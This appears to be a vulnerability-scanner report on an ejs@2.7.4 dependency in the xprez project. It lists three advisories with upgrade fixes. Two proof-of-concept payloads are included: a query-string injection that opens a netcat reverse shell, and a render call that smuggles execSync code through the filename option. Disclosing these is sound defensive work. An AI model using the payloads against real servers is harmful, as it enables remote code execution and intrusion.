Vulnerabilities

 3 via 3 paths

Dependencies

 87

Source

 GitHub

Commit

 c1c896a8

Find, fix and prevent vulnerabilities in your code.

Test and protect my applications
Severity
  • 1
  • 2
Status
  • 3
  • 0
  • 0

high severity

Remote Code Execution (RCE)

  • Vulnerable module: ejs
  • Introduced through: ejs@2.7.4

Detailed paths

  • Introduced through: xprez@yzhan1/xprez#c1c896a868d54c924d7050c74e0a8dba8a64ca30 › ejs@2.7.4
    Remediation: Upgrade to ejs@3.1.7.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

PoC:

Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

Remediation

Upgrade ejs to version 3.1.7 or higher.

References

Remote Code Execution (RCE) vulnerability report

medium severity

Improper Control of Dynamically-Managed Code Resources

  • Vulnerable module: ejs
  • Introduced through: ejs@2.7.4

Detailed paths

  • Introduced through: xprez@yzhan1/xprez#c1c896a868d54c924d7050c74e0a8dba8a64ca30 › ejs@2.7.4
    Remediation: Upgrade to ejs@3.1.10.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.

Note:

Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty method.

Remediation

Upgrade ejs to version 3.1.10 or higher.

References

Improper Control of Dynamically-Managed Code Resources vulnerability report

medium severity

Arbitrary Code Injection

  • Vulnerable module: ejs
  • Introduced through: ejs@2.7.4

Detailed paths

  • Introduced through: xprez@yzhan1/xprez#c1c896a868d54c924d7050c74e0a8dba8a64ca30 › ejs@2.7.4
    Remediation: Upgrade to ejs@3.1.6.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the render and renderFile. If external input is flowing into the options parameter, an attacker is able run arbitrary code. This include the filename, compileDebug, and client option.

POC

let ejs = require('ejs')
ejs.render('./views/test.ejs',{
    filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
    compileDebug: true,
    message: 'test',
    client: true
})

Remediation

Upgrade ejs to version 3.1.6 or higher.

References

Arbitrary Code Injection vulnerability report